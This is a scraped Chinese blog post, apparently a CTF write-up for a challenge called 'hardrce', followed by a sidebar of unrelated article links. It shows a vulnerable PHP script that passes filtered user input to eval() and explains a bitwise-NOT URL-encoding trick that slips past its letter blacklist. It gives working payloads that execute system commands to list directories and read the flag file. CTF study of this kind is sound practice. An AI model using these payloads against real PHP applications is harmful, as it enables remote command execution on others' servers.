当前位置:网站首页>ctf (hardrce)
ctf (hardrce)
2022-07-27 10:02:00 【Glacier_Mount】
知识点
取反过滤:取反过滤是先将命令取反,然后对其进行url编码最后在上传时再一次进行取反。
取反过滤可以绕过preg_match()过滤的所有字符和数字。
取反脚本
<?php
echo urlencode(~'取反内容');
?>
获取取反结果后在url注入栏输入
(~取反结果1)(~取反结果2);
例题
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!这段代码中正则过滤了所有字母和一些符号,但‘~’未被过滤。我们可以用取反过滤的方法来查看文件。首先我们要使用命令system(ls /)查看目录
我们对system 和 (ls /) 发别取反为%8C%86%8C%8B%9A%92 和%D7%93%8C%DF%D0%D6
payload: ?wllm=(~%8C%86%8C%8B%9A%92 )(~%D7%93%8C%DF%D0%D6);

再使用命令system(cat / flllllaaaaaaggggggg)查看flllllaaaaaaggggggg目录里的内容
取反操作同上
payload:?wllm=(~%8C%86%8C%8B%9A%92 )(~%D7%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98%D6);

边栏推荐
猜你喜欢

邮件服务器

Oracle调整数据文件大小杂谈
[email protected], "/>Shell variables, system predefined variables $home, $pwd, $shell, $user, custom variables, special variables $n, $, $*, [email protected],
![Shell function, system function, basename [string / pathname] [suffix] can be understood as taking the file name in the path, dirname file absolute path, and user-defined function](/img/3d/d7276d2010f1d77a3bd572cc66eced.png)
Shell function, system function, basename [string / pathname] [suffix] can be understood as taking the file name in the path, dirname file absolute path, and user-defined function

女粉想要找男朋友,竟是为了...

Two architectures of ETL (ETL architecture and ELT Architecture)

关于ETL的两种架构(ETL架构和ELT架构)

超赞的卡尔曼滤波详解文章

Ant advanced task

About new_ Online_ Judge_ 1081_ Thoughts on Goldbach's conjecture
随机推荐
Oracle RAC 19C PDB instance is down
【Flutter】SharedPreferences使用
Switch port mirroring Configuration Guide
Ubuntu and MySQL quick start tutorial
Shell process control (emphasis), if judgment, case statement, let usage, for ((initial value; loop control condition; variable change)) and for variable in value 1 value 2 value 3..., while loop
hdu5289(Assignment)
NFT system development - Tutorial
Anaconda installation (very detailed)
vs2019社区版下载教程(详细)
使用 LSM-Tree 思想基于.NET 6.0 C# 写个 KV 数据库(案例版)
How does data analysis solve business problems? Here is a super detailed introduction
matlab-绘制分叉与混沌分支图
Review of in vivo detection
安装CUDA失败的情况nsight visual studio edition失败
Preparation for Android interview (including the whole process of interview, interview preparation, interview questions and materials, etc.)
Uninstall cuda11.1
【英雄哥六月集训】第 26天: 并查集
Data visualization
Shell integrated application cases, archiving files, sending messages
mount. Nfs: access denied by server while mounting